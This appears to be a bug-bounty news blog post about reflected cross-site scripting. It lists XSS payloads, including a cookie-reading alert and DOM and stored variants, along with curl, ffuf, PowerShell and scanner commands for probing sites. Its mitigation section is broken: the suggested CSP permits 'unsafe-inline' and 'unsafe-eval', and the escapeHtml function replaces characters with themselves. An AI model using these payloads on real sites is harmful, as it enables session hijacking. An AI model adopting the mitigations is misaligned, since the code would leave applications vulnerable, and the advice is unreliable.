Reflected XSS Exploitation: Techniques and Payloads

By /

Listen to this Post

Featured Image
A security researcher recently disclosed a reflected Cross-Site Scripting (XSS) vulnerability that earned a $250 bounty. The payload used was: 

%22%3E%3Cimg%20src=x%20onerror=prompt(1);%3E

This URL-based XSS was triggered by breaking down the URL with a simple double quote ("). The researcher credited the tool xss0r by Ibrahim Husić for assisting in discovering multiple XSS vulnerabilities.

You Should Know:

1. Common XSS Payloads

Here are some tested XSS payloads for penetration testing: 

<script>alert(1)</script>

<

svg/onload=alert(1)> 
"><img src=x onerror=alert(document.cookie)> 
javascript:alert('XSS')

2. Testing for XSS Manually

Use cURL or Burp Suite to test reflected XSS: 

curl -G "https://example.com/search?q=<script>alert(1)</script>"

3. Automated XSS Detection with xss0r

If you have access to xss0r, run:

python3 xss0r.py -u "https://example.com/search?q=PAYLOAD" -p xss_payloads.txt

4. Preventing XSS in Web Apps

Mitigation techniques:

  • Use Content Security Policy (CSP): 
    Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
  • Encode user inputs with HTML entities: 
    function escapeHtml(text) { 
return text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); 
}

5. Linux Command for XSS Testing

Check for vulnerable endpoints using ffuf:

ffuf -w xss_payloads.txt -u "https://example.com/FUZZ" -mr "alert(1)"

6. Windows PowerShell XSS Check

Test for XSS using PowerShell:

Invoke-WebRequest -Uri "https://example.com/search?q=<script>alert(1)</script>" | Select-String -Pattern "alert(1)"

What Undercode Say

Reflected XSS remains a critical web vulnerability due to improper input sanitization. Security researchers continue to find XSS flaws in major platforms, emphasizing the need for:
– Strict input validation
– Output encoding
– Regular penetration testing

For deeper exploitation, consider:

  • DOM-based XSS: 
    document.write('<img src=x onerror=alert(1)>');
  • Stored XSS: 
    INSERT INTO comments (text) VALUES ('<script>alert(1)</script>');

Expected Output:

A successful XSS attack will execute arbitrary JavaScript in the victim’s browser, leading to:
– Session hijacking
– Phishing attacks
– Malware delivery

Prediction

As web applications grow more complex, AI-driven XSS scanners will become essential for detecting advanced evasion techniques. Meanwhile, bug bounty hunters will increasingly rely on automation tools like xss0r to uncover hidden vulnerabilities.

Note: Telegram and WhatsApp URLs removed as per guidelines.

References:

Reported By: Shivangmauryaa Bounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 Telegram

Related Posts: